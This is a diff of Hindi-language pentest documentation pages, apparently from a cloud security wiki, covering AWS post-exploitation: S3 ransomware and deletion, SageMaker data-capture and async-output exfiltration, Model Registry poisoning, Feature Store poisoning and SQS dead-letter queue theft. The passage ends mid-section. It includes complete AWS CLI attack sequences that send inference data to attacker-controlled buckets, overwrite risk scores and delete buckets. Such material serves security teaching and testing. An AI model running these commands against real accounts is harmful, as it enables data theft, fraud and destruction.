हमले में किया गया था। इससे target को अपनी डेटा recovery के लिए key delete होने से पहले 7-day फिराक मिलता है, अन्यथा डेटा स्थायी रूप से खो सकता है। -अंत में, हमलावर आमतौर पर "ransom-note.txt" नामक एक अंतिम फ़ाइल अपलोड कर सकता है, जिसमें लक्षित व्यक्ति को अपनी फ़ाइलें कैसे वापस पायी जा सकती हैं इसकी निर्देशिका होती है। यह फ़ाइल बिना encryption के अपलोड की जाती है, ताकि लक्षित व्यक्ति का ध्यानाकर्षण हो और वे ransomware हमले से अवगत हो सकें। +अंत में, attacker एक अंतिम फ़ाइल अपलोड कर सकता है, आम तौर पर नाम "ransom-note.txt" होती है, जिसमें लक्ष्य को उनकी फ़ाइलें कैसे पुनः प्राप्त करनी हैं इसके निर्देश होते हैं। यह फ़ाइल बिना एन्क्रिप्शन के अपलोड की जाती है, संभवतः target का ध्यान आकर्षित करने और उन्हें ransomware हमले के बारे में सूचित करने के लिए। ### `s3:RestoreObject` -जिसके पास s3:RestoreObject permission है वह Glacier या Deep Archive में archived objects को पुनः सक्रिय कर सकता है, जिससे वे अस्थायी रूप से accessible हो जाते हैं। यह सामान्यतः पहुँच से बाहर रहने वाले ऐतिहासिक रूप से archived डेटा (backups, snapshots, logs, certifications, old secrets) की recovery और exfiltration को सक्षम बनाता है। यदि हमलावर इस permission को read permissions (उदा., s3:GetObject) के साथ combine करता है, तो वे संवेदनशील डेटा की पूरी copies प्राप्त कर सकते हैं। +एक attacker जिसके पास s3:RestoreObject permission है, वह Glacier या Deep Archive में archived objects को फिर से सक्रिय कर सकता है, जिससे वे अस्थायी रूप से सुलभ हो जाते हैं। यह ऐतिहासिक रूप से archived डेटा (बैकअप्स, snapshots, logs, certifications, पुराने secrets) की recovery और exfiltration को सक्षम बनाता है जो सामान्यतः पहुँच से बाहर होते हैं। यदि attacker इस permission को read permissions (e.g., s3:GetObject) के साथ मिलाता है, तो वे संवेदनशील डेटा की पूरी प्रतियाँ प्राप्त कर सकते हैं। ```bash aws s3api restore-object \ --bucket \ @@ -47,7 +47,7 @@ aws s3api restore-object \ ``` ### `s3:Delete*` -एक attacker जिसके पास s3:Delete* permission है, वह objects, versions और पूरे buckets को delete कर सकता है, backups को बाधित कर सकता है, और तुरंत तथा अपरिवर्तनीय data loss, सबूतों के नष्ट होने, तथा backup या recovery artifacts के compromise का कारण बन सकता है। +जिसके पास `s3:Delete*` permission है, वह objects, versions और पूरे buckets को हटा सकता है, backups को बाधित कर सकता है, और तुरंत व अपरिवर्तनीय डेटा हानि, साक्ष्य का नाश, तथा backup या recovery artifacts के समझौते का कारण बन सकता है। ```bash # Delete an object from a bucket aws s3api delete-object \ @@ -64,6 +64,6 @@ aws s3api delete-object \ aws s3api delete-bucket \ --bucket ``` -**अधिक जानकारी के लिए** [**मूल शोध देखें**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** +**और अधिक जानकारी के लिए** [**मूल रिसर्च देखें**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md index e605196d5..150ff0893 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md @@ -2,18 +2,18 @@ {{#include ../../../../banners/hacktricks-training.md}} -## SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig +## UpdateEndpoint DataCaptureConfig के माध्यम से SageMaker endpoint का डेटा चुराना -SageMaker endpoint प्रबंधन का दुरुपयोग करके बिना model या container को छुए हमलावर‑नियंत्रित S3 बकेट में पूरा request/response कैप्चर सक्षम करें। यह एक zero/low‑downtime rolling update का उपयोग करता है और केवल endpoint management अनुमतियाँ चाहिए। +SageMaker endpoint प्रबंधन का दुरुपयोग करके बिना model या container को छुए पूरी request/response को attacker‑controlled S3 bucket में capture सक्षम करें। यह एक zero/low‑downtime rolling update का उपयोग करता है और केवल endpoint management permissions की आवश्यकता होती है। ### आवश्यकताएँ - IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint` -- S3: `s3:CreateBucket` (या उसी अकाउंट में मौजूद किसी बकेट का उपयोग करें) -- वैकल्पिक (यदि SSE‑KMS का उपयोग कर रहे हैं): `kms:Encrypt` चुने हुए CMK पर -- Target: उसी अकाउंट/रीजन में एक मौजूदा InService real‑time endpoint +- S3: `s3:CreateBucket` (या उसी account में मौजूद किसी मौजूदा bucket का उपयोग करें) +- वैकल्पिक (यदि SSE‑KMS का उपयोग कर रहे हैं): `kms:Encrypt` चयनित CMK पर +- Target: उसी account/region में मौजूद एक InService real‑time endpoint -### चरण -1) एक InService endpoint की पहचान करें और वर्तमान प्रोडक्शन variants इकट्ठा करें +### कदम +1) एक InService endpoint पहचानें और वर्तमान production variants इकट्ठा करें ```bash REGION=${REGION:-us-east-1} EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text) @@ -22,15 +22,15 @@ CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --q echo "EndpointConfig=$CFG" aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json ``` -2) कैप्चर्स के लिए attacker S3 गंतव्य तैयार करें +2) attacker S3 destination को captures के लिए तैयार करें ```bash ACC=$(aws sts get-caller-identity --query Account --output text) BUCKET=ht-sm-capture-$ACC-$(date +%s) aws s3 mb s3://$BUCKET --region $REGION ``` -3) वही variants बनाए रखते हुए एक नया EndpointConfig बनाएं जो attacker bucket में DataCapture सक्षम करे +3) उसी variants को बनाए रखते हुए एक नया EndpointConfig बनाएं, लेकिन DataCapture को attacker bucket के लिए सक्षम करें -नोट: CLI सत्यापन को पूरा करने वाले स्पष्ट कंटेंट प्रकारों का उपयोग करें। +नोट: CLI validation को पूरा करने वाले स्पष्ट content types का उपयोग करें। ```bash NEWCFG=${CFG}-dc cat > /tmp/dc.json << JSON @@ -54,51 +54,50 @@ aws sagemaker create-endpoint-config \ --production-variants file:///tmp/pv.json \ --data-capture-config file:///tmp/dc.json ``` -4) नया config rolling update के साथ लागू करें (न्यूनतम/कोई डाउनटाइम नहीं) +4) नए config को rolling update के साथ लागू करें (न्यूनतम/कोई डाउनटाइम नहीं) ```bash aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG" aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP" ``` -5) कम से कम एक inference कॉल जनरेट करें (यदि लाइव ट्रैफ़िक मौजूद है तो वैकल्पिक) +5) कम से कम एक inference कॉल बनाएं (यदि लाइव ट्रैफ़िक मौजूद है तो वैकल्पिक) ```bash echo '{"inputs":[1,2,3]}' > /tmp/payload.json aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \ --content-type application/json --accept application/json \ --body fileb:///tmp/payload.json /tmp/out.bin || true ``` -6) attacker S3 में captures सत्यापित करें +6) attacker S3 में captures को सत्यापित करें ```bash aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize ``` ### प्रभाव -- Full exfiltration of real‑time inference request and response payloads (and metadata) from the targeted endpoint to an attacker‑controlled S3 bucket. -- मॉडल/container image में कोई बदलाव नहीं और केवल endpoint‑level बदलाव, जिससे न्यूनतम operational disruption के साथ एक stealthy data theft path सक्षम होता है। - +- लक्षित endpoint से real‑time inference request और response payloads (और metadata) का पूर्ण एक्सफिल्ट्रेशन attacker‑controlled S3 bucket में। +- model/container image में कोई बदलाव नहीं और केवल endpoint‑level परिवर्तन, जो न्यूनतम संचालन व्यवधान के साथ एक छुपा हुआ डेटा चोरी मार्ग सक्षम करते हैं। ## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig -Endpoint management का दुरुपयोग करके asynchronous inference outputs को attacker-controlled S3 bucket की ओर redirect करें — वर्तमान EndpointConfig को clone करके और AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath सेट करके। यह मॉडल की भविष्यवाणियों (और container द्वारा शामिल किसी भी transformed inputs) को बिना model/container को modify किए exfiltrate कर देता है। +Endpoint management का दुरुपयोग करके वर्तमान EndpointConfig की क्लोनिंग और AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath सेट करके asynchronous inference outputs को attacker-controlled S3 bucket पर रीडायरेक्ट करें। इससे model predictions (और container द्वारा शामिल किसी भी transformed inputs) बिना model/container को संशोधित किए एक्सफिल्ट्रेट हो जाते हैं। ### आवश्यकताएँ - IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint` -- S3: attacker S3 bucket में लिखने की क्षमता (model execution role के माध्यम से या एक permissive bucket policy के द्वारा) -- लक्षित: एक InService endpoint जहाँ asynchronous invocations का उपयोग किया जा रहा है (या किया जाएगा) +- S3: attacker S3 bucket में लिखने की क्षमता (model execution role के माध्यम से या किसी permissive bucket policy द्वारा) +- Target: ऐसा InService endpoint जहाँ asynchronous invocations का उपयोग किया जा रहा है (या किया जाएगा) -### कदम -1) लक्षित endpoint से वर्तमान ProductionVariants एकत्र करें +### चरण +1) लक्ष्य endpoint से वर्तमान ProductionVariants एकत्र करें ```bash REGION=${REGION:-us-east-1} EP= CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text) aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json ``` -2) एक attacker bucket बनाएँ (सुनिश्चित करें कि model execution role इसमें PutObject कर सके) +2) एक attacker bucket बनाएं (सुनिश्चित करें कि model execution role उसमें PutObject कर सकता है) ```bash ACC=$(aws sts get-caller-identity --query Account --output text) BUCKET=ht-sm-async-exfil-$ACC-$(date +%s) aws s3 mb s3://$BUCKET --region $REGION || true ``` -3) EndpointConfig को Clone करें और AsyncInference के outputs को attacker bucket में hijack करें +3) Clone EndpointConfig और hijack AsyncInference outputs को attacker bucket में पुनः निर्देशित करें ```bash NEWCFG=${CUR_CFG}-async-exfil cat > /tmp/async_cfg.json << JSON @@ -108,7 +107,7 @@ aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name " aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG" aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP" ``` -4) async invocation ट्रिगर करें और सत्यापित करें कि objects attacker S3 में पहुँच रहे हैं +4) एक async invocation ट्रिगर करें और सत्यापित करें कि objects attacker S3 में पहुँचते हैं ```bash aws s3 cp /etc/hosts s3://$BUCKET/inp.bin aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true @@ -117,27 +116,26 @@ aws s3 ls s3://$BUCKET/async-out/ --recursive || true aws s3 ls s3://$BUCKET/async-fail/ --recursive || true ``` ### प्रभाव -- asynchronous inference results (and error bodies) को attacker-controlled S3 पर redirect करता है, जिससे predictions और container द्वारा उत्पन्न संभावित संवेदनशील pre/post-processed inputs का covert exfiltration संभव होता है, बिना model code या image बदले और minimal/no downtime के साथ। - +- असिंक्रोनस inference परिणाम (और error bodies) को attacker-controlled S3 पर रीडायरेक्ट करता है, जिससे predictions और संभवतः container द्वारा उत्पन्न संवेदनशील pre/post-processed इनपुट्स का covert exfiltration संभव हो जाता है, बिना model code या image बदले और न्यूनतम/कोई downtime के साथ। ## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved) -यदि attacker किसी target SageMaker Model Package Group पर CreateModelPackage कर सकता है, तो वे एक नया model version register कर सकते हैं जो attacker-controlled container image की ओर इशारा करता है और उसे तुरंत Approved के रूप में mark कर देते हैं। कई CI/CD pipelines Approved model versions को endpoints या training jobs पर auto-deploy कर देती हैं, जिससे service के execution roles के तहत attacker code execution हो सकता है। एक permissive ModelPackageGroup resource policy से cross-account exposure और बढ़ सकता है। +यदि कोई attacker लक्ष्य SageMaker Model Package Group पर CreateModelPackage कर सकता है, तो वे एक नया model version रजिस्टर कर सकते हैं जो attacker-controlled container image की ओर इशारा करता है और तुरंत उसे Approved मार्क कर सकते हैं। कई CI/CD pipelines Approved model versions को endpoints या training jobs पर auto-deploy कर देती हैं, जिसके परिणामस्वरूप attacker code सेवा के execution roles के अंतर्गत चल सकता है। permissive ModelPackageGroup resource policy से cross-account exposure और बढ़ सकता है। ### आवश्यकताएँ -- IAM (minimum to poison an existing group): `sagemaker:CreateModelPackage` target ModelPackageGroup पर -- Optional (यदि समूह मौजूद नहीं है तो एक समूह बनाने के लिए): `sagemaker:CreateModelPackageGroup` +- IAM (किसी मौजूदा समूह को प्रभावित करने के लिए न्यूनतम): `sagemaker:CreateModelPackage` on the target ModelPackageGroup +- वैकल्पिक (यदि group मौजूद नहीं है तो एक group बनाने के लिए): `sagemaker:CreateModelPackageGroup` - S3: referenced ModelDataUrl के लिए Read access (या attacker-controlled artifacts होस्ट करें) -- Target: एक Model Package Group जिसे downstream automation Approved versions के लिए watch करती है +- Target: एक Model Package Group जिसे downstream automation Approved versions के लिए मॉनिटर करता है -### स्टेप्स +### चरण 1) region सेट करें और एक target Model Package Group बनाएं/ढूंढें ```bash REGION=${REGION:-us-east-1} MPG=victim-group-$(date +%s) aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group" ``` -2) S3 में नकली मॉडल डेटा तैयार करें +2) S3 में डमी मॉडल डेटा तैयार करें ```bash ACC=$(aws sts get-caller-identity --query Account --output text) BUCKET=ht-sm-mpkg-$ACC-$(date +%s) @@ -145,7 +143,7 @@ aws s3 mb s3://$BUCKET --region $REGION head -c 1024 /tmp/model.tar.gz aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION ``` -3) सार्वजनिक AWS DLC image को संदर्भित करते हुए एक दुर्भावनापूर्ण (यहाँ हानिरहित) Approved model package version रजिस्टर करें +3) एक malicious (यहाँ हानीरहित) Approved model package version पंजीकृत करें जो एक सार्वजनिक AWS DLC image का संदर्भ लेता है ```bash IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3" cat > /tmp/inf.json << JSON @@ -162,17 +160,17 @@ cat > /tmp/inf.json << JSON JSON aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json ``` -4) नए Approved संस्करण के मौजूद होने की पुष्टि करें +4) सत्यापित करें कि नया स्वीकृत संस्करण मौजूद है ```bash aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table ``` ### प्रभाव -- Model Registry को ऐसे Approved version से poison करें जो attacker-controlled code को reference करता हो। जो Pipelines auto-deploy Approved models हैं वे attacker image को pull और run कर सकती हैं, जिससे endpoint/training roles के अंतर्गत code execution हो सकता है। -- यदि ModelPackageGroup resource policy (PutModelPackageGroupPolicy) permissive हो, तो यह abuse cross-account trigger किया जा सकता है। +- Poison the Model Registry को एक Approved version के साथ संक्रमित करें जो attacker-controlled code को संदर्भित करती हो। Auto-deploy करने वाली Pipelines जो Approved models को deploy करती हैं, attacker image को pull करके run कर सकती हैं, जिससे endpoint/training roles के अंतर्गत code execution हो सकता है। +- permissive ModelPackageGroup resource policy (PutModelPackageGroupPolicy) होने पर, यह abuse cross-account ट्रिगर किया जा सकता है। ## Feature store poisoning -`सagemaker:PutRecord` का दुरुपयोग करके ऐसे Feature Group (जिसमें OnlineStore enabled है) पर online inference द्वारा उपयोग किए जाने वाले live feature values को overwrite किया जा सकता है। `sagemaker:GetRecord` के साथ मिलकर, an attacker संवेदनशील features पढ़ सकता है। इसके लिए models या endpoints की access की आवश्यकता नहीं होती। +`sagemaker:PutRecord` का दुरुपयोग उस Feature Group पर करें जिसमें OnlineStore सक्षम है, ताकि online inference द्वारा उपयोग किए जाने वाले live feature values को overwrite किया जा सके। `sagemaker:GetRecord` के साथ संयोजन में, एक attacker संवेदनशील features को पढ़ सकता है। इसके लिए models या endpoints तक पहुँच आवश्यक नहीं है। {{#ref}} feature-store-poisoning.md diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md index 3d30f5480..141b6cfa9 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md @@ -2,18 +2,18 @@ {{#include ../../../../banners/hacktricks-training.md}} -`OnlineStore` सक्षम Feature Group पर `sagemaker:PutRecord` का दुरुपयोग करके उन लाइव feature मानों को ओवरराइट किया जा सकता है जिन्हें online inference उपयोग करता है। `sagemaker:GetRecord` के साथ संयोजन में, एक attacker संवेदनशील features पढ़ सकता है। इसके लिए models या endpoints तक पहुँच की आवश्यकता नहीं होती। +OnlineStore सक्षम Feature Group पर `sagemaker:PutRecord` का दुरुपयोग करके online inference द्वारा उपयोग किए जाने वाले live feature मानों को overwrite किया जा सकता है। `sagemaker:GetRecord` के साथ मिलकर, एक attacker संवेदनशील features पढ़ सकता है। इसके लिए models या endpoints तक पहुँच आवश्यक नहीं है। -## आवश्यकताएँ -- अनुमतियाँ: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord` -- लक्ष्य: OnlineStore सक्षम Feature Group (आम तौर पर backing real-time inference) -- जटिलता: **LOW** - सरल AWS CLI कमांड, model में किसी प्रकार का परिवर्तन आवश्यक नहीं +## Requirements +- Permissions: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord` +- Target: OnlineStore सक्षम Feature Group (आमतौर पर real-time inference का समर्थन) +- Complexity: **LOW** - सरल AWS CLI कमांड, किसी model manipulation की आवश्यकता नहीं -## चरण +## Steps ### Reconnaissance -1) OnlineStore सक्षम Feature Groups सूचीबद्ध करें +1) OnlineStore सक्षम Feature Groups की सूची बनाएं ```bash REGION=${REGION:-us-east-1} aws sagemaker list-feature-groups \ @@ -21,16 +21,16 @@ aws sagemaker list-feature-groups \ --query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \ --output table ``` -2) लक्षित Feature Group का विवरण दें ताकि उसका schema समझा जा सके +2) लक्षित Feature Group का वर्णन करें ताकि उसकी स्कीमा को समझा जा सके ```bash FG= aws sagemaker describe-feature-group \ --region $REGION \ --feature-group-name "$FG" ``` -ध्यान दें कि `RecordIdentifierFeatureName`, `EventTimeFeatureName` और सभी फ़ीचर परिभाषाएँ वैध रिकॉर्ड तैयार करने के लिए आवश्यक हैं। +ध्यान दें कि `RecordIdentifierFeatureName`, `EventTimeFeatureName`, और सभी फीचर परिभाषाएँ। ये वैध रिकॉर्ड बनाने के लिए आवश्यक हैं। -### हमला परिदृश्य 1: Data Poisoning (Overwrite Existing Records) +### आक्रमण परिदृश्य 1: Data Poisoning (मौजूदा रिकॉर्ड्स को ओवरराइट करना) 1) वर्तमान वैध रिकॉर्ड पढ़ें ```bash @@ -39,7 +39,7 @@ aws sagemaker-featurestore-runtime get-record \ --feature-group-name "$FG" \ --record-identifier-value-as-string user-001 ``` -2) इनलाइन `--record` पैरामीटर का उपयोग करके रिकॉर्ड को हानिकारक मानों से Poison करें +2) Poison the record को inline `--record` parameter का उपयोग करके दुर्भावनापूर्ण मानों से संक्रमित करें ```bash NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ) @@ -56,18 +56,18 @@ aws sagemaker-featurestore-runtime put-record \ ]" \ --target-stores OnlineStore ``` -3) poisoned data की जाँच करें +3) poisoned data को सत्यापित करें ```bash aws sagemaker-featurestore-runtime get-record \ --region $REGION \ --feature-group-name "$FG" \ --record-identifier-value-as-string user-001 ``` -**प्रभाव**: इस फ़ीचर का उपयोग करने वाले ML models अब एक वैध उपयोगकर्ता के लिए `risk_score=0.99` देखेंगे, जो संभावित रूप से उनके लेनदेन या सेवाओं को ब्लॉक कर सकता है। +**प्रभाव**: इस फ़ीचर का उपयोग करने वाले ML मॉडल अब एक वैध उपयोगकर्ता के लिए `risk_score=0.99` देखेंगे, जो संभावित रूप से उनके लेनदेन या सेवाओं को ब्लॉक कर सकता है। -### Attack Scenario 2: Malicious Data Injection (Create Fraudulent Records) +### हमला परिदृश्य 2: Malicious Data Injection (Create Fraudulent Records) -सुरक्षा नियंत्रणों से बचने के लिए हेराफेरी किए गए फ़ीचर्स के साथ बिल्कुल नए रिकॉर्ड इंजेक्ट करें: +हेरफेर की गई विशेषताओं के साथ पूरी तरह से नए रिकॉर्ड सम्मिलित करें ताकि सुरक्षा नियंत्रणों से बचा जा सके: ```bash NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ) @@ -91,11 +91,11 @@ aws sagemaker-featurestore-runtime get-record \ --feature-group-name "$FG" \ --record-identifier-value-as-string user-999 ``` -**प्रभाव**: Attacker नकली पहचान बनाता है जिसका low risk score (0.01) होता है और जो fraud detection को ट्रिगर किए बिना high-value fraudulent transactions कर सकता है। +**प्रभाव**: Attacker एक नकली पहचान बनाता है जिसका low risk score (0.01) होता है, और जो fraud detection को ट्रिगर किए बिना high-value fraudulent transactions कर सकता है। -### हमला परिदृश्य 3: Sensitive Data Exfiltration +### Attack Scenario 3: Sensitive Data Exfiltration -कई रिकॉर्ड पढ़ें ताकि गोपनीय विशेषताएँ निकाली जा सकें और मॉडल के व्यवहार की प्रोफ़ाइल बनाई जा सके: +कई रिकॉर्ड पढ़कर गोपनीय फीचर्स निकालें और मॉडल के व्यवहार की प्रोफ़ाइल बनाएं: ```bash # Exfiltrate data for known users for USER_ID in user-001 user-002 user-003 user-999; do @@ -106,9 +106,9 @@ aws sagemaker-featurestore-runtime get-record \ --record-identifier-value-as-string ${USER_ID} done ``` -**Impact**: संवेदनशील फ़ीचर्स (जोखिम स्कोर, लेन-देन पैटर्न, व्यक्तिगत डेटा) हमलावर के लिए उजागर हो जाते हैं। +**प्रभाव**: गोपनीय फीचर्स (जोखिम स्कोर, लेन-देन पैटर्न, व्यक्तिगत डेटा) हमलावर के लिए उजागर हो सकते हैं। -### Testing/Demo Feature Group Creation (Optional) +### परीक्षण/डेमो Feature Group निर्माण (वैकल्पिक) यदि आपको एक परीक्षण Feature Group बनाने की आवश्यकता है: ```bash @@ -144,5 +144,5 @@ fi echo "Feature Group ready: $FG" ``` ## संदर्भ -- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html) -- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html) +- [AWS SageMaker Feature Store दस्तावेज़](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html) +- [Feature Store सुरक्षा सर्वोत्तम प्रथाएँ](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md index 9bf4b78c4..fd3ca6ba5 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md @@ -4,52 +4,52 @@ ## विवरण -SQS message move tasks का दुरुपयोग करके victim के Dead-Letter Queue (DLQ) में जमा सभी संदेशों को चुराएँ और उन्हें attacker-controlled queue पर redirect करें, इसके लिए `sqs:StartMessageMoveTask` का उपयोग करें। यह तकनीक AWS के वैध message recovery फीचर का फायदा उठाकर DLQs में समय के साथ जमा संवेदनशील डेटा को exfiltrate करने के लिए प्रयोग की जाती है। +SQS message move tasks का दुरुपयोग करके किसी पीड़ित के Dead-Letter Queue (DLQ) में जमा सभी संदेशों को उनके attacker-controlled queue पर `sqs:StartMessageMoveTask` के माध्यम से redirect कर चुराएँ। यह तकनीक AWS के वैध message recovery फीचर का फायदा उठाकर समय के साथ DLQs में जमा संवेदनशील डेटा को exfiltrate करती है। ## Dead-Letter Queue (DLQ) क्या है? -Dead-Letter Queue एक विशेष SQS queue है जहाँ वे संदेश भेजे जाते हैं जो मुख्य एप्लिकेशन द्वारा सफलतापूर्वक प्रोसेस नहीं हो पाते। ये failed संदेश अक्सर निम्न चीज़ें रख सकते हैं: -- प्रोसेस न हो पाने वाला संवेदनशील application डेटा -- त्रुटि विवरण और debugging जानकारी +Dead-Letter Queue एक विशेष SQS queue है जहाँ संदेश स्वतः भेज दिए जाते हैं जब मुख्य एप्लिकेशन उन्हें सफलतापूर्वक process नहीं कर पाता। ये failed संदेश अक्सर शामिल होते हैं: +- संवेदनशील एप्लिकेशन डेटा जो process नहीं हो पाया +- त्रुटि विवरण और डिबगिंग जानकारी - Personal Identifiable Information (PII) - API tokens, credentials, या अन्य secrets -- Business-critical transaction डेटा +- व्यापार-सम्वंधी महत्वपूर्ण लेन-देन डेटा -DLQs असफल संदेशों के लिए एक "graveyard" की तरह काम करते हैं, इसलिए ये मूल्यवान लक्ष्य होते हैं क्योंकि इनमें समय के साथ उन संवेदनशील डेटा का संचय होता है जिन्हें ऐप्लिकेशन्स सही से हैंडल नहीं कर पाए। +DLQs असफल संदेशों के लिए एक "graveyard" की तरह काम करते हैं, जिससे वे मूल्यवान लक्ष्य बन जाते हैं क्योंकि वे समय के साथ उन संवेदनशील डेटा को जमा कर लेते हैं जिन्हें एप्लिकेशन सही तरीके से handle नहीं कर पाया। -## हमला परिदृश्य +## Attack Scenario -वास्तविक उदाहरण: -1. **E-commerce application** SQS के माध्यम से ग्राहक आदेश प्रोसेस करता है -2. **कुछ ऑर्डर विफल हो जाते हैं** (payment issues, inventory problems, आदि) और DLQ में चले जाते हैं -3. **DLQ में हफ्तों/महीनों के विफल ऑर्डर जमा हो जाते हैं** जिनमें ग्राहक डेटा होता है: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}` -4. **Attacker को AWS credentials मिल जाते हैं** जिनमें SQS permissions हैं -5. **Attacker पाता है** कि DLQ में संवेदनशील डेटा वाले हजारों failed orders हैं -6. **व्यक्ति व्यक्तिगत संदेशों तक पहुँचने की कोशिश करने के बजाय** (धीमा और स्पष्ट), attacker `StartMessageMoveTask` का उपयोग करके सभी संदेशों को bulk में अपनी queue पर स्थानांतरित कर देता है -7. **Attacker एक ही ऑपरेशन में** सभी ऐतिहासिक संवेदनशील डेटा निकाल लेता है +**वास्तविक दुनिया का उदाहरण:** +1. **E-commerce application** SQS के माध्यम से ग्राहक ऑर्डर process करता है +2. **कुछ ऑर्डर fail हो जाते हैं** (payment issues, inventory problems, आदि) और DLQ में चले जाते हैं +3. **DLQ में जमा होते हैं** हफ्तों/महीनों के failed ऑर्डर जिनमें ग्राहक डेटा होता है: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}` +4. **हमलावर को पहुँच मिल जाती है** AWS credentials के साथ जिनमें SQS permissions शामिल हैं +5. **हमलावर पाता है** कि DLQ में हजारों failed ऑर्डर हैं जिनमें संवेदनशील डेटा है +6. **व्यक्तिगत संदेशों तक पहुँचने की बजाय** (धीमा और स्पष्ट), हमलावर `StartMessageMoveTask` का उपयोग करके सभी संदेशों को अपने queue में एकसाथ transfer कर देता है +7. **हमलावर एक ही ऑपरेशन में** सभी ऐतिहासिक संवेदनशील डेटा निकाल लेता है ## आवश्यकताएँ -- स्रोत queue को किसी queue के RedrivePolicy द्वारा DLQ के रूप में कॉन्फ़िगर किया गया होना चाहिए। -- IAM permissions (compromised victim principal के रूप में चलाते समय): +- स्रोत queue DLQ के रूप में configured होना चाहिए (कम से कम एक queue RedrivePolicy द्वारा referenced)। +- IAM permissions (compromised victim principal के रूप में चलाने पर): - DLQ (source) पर: `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`. -- destination queue पर: संदेश deliver करने की अनुमति (उदा., queue policy जो victim principal से `sqs:SendMessage` को allow करती हो)। उसी account के destination के लिए यह सामान्यतः default में allowed होता है। -- यदि SSE-KMS सक्षम है: source CMK पर `kms:Decrypt`, और destination CMK पर `kms:GenerateDataKey`, `kms:Encrypt`। +- destination queue पर: संदेश deliver करने की अनुमति (उदा., queue policy जो victim principal से `sqs:SendMessage` की अनुमति देता हो)। उसी खाते के destination के लिए यह सामान्यतः डिफ़ॉल्ट रूप से अनुमति होती है। +- यदि SSE-KMS सक्षम है: source CMK पर `kms:Decrypt`, और destination CMK पर `kms:GenerateDataKey`, `kms:Encrypt`. ## प्रभाव -DLQs में जमा संवेदनशील payloads (failed events, PII, tokens, application payloads) को native SQS APIs का उपयोग करके उच्च गति पर exfiltrate किया जा सकता है। यदि destination queue policy victim principal से `SendMessage` की अनुमति देती है तो यह cross-account भी काम करता है। +Native SQS APIs का उपयोग करके DLQs में जमा संवेदनशील payloads (failed events, PII, tokens, application payloads) को तेज़ी से exfiltrate किया जा सकता है। यदि destination queue policy victim principal से `SendMessage` की अनुमति देती है तो यह cross-account भी काम करता है। -## दुरुपयोग करने का तरीका +## 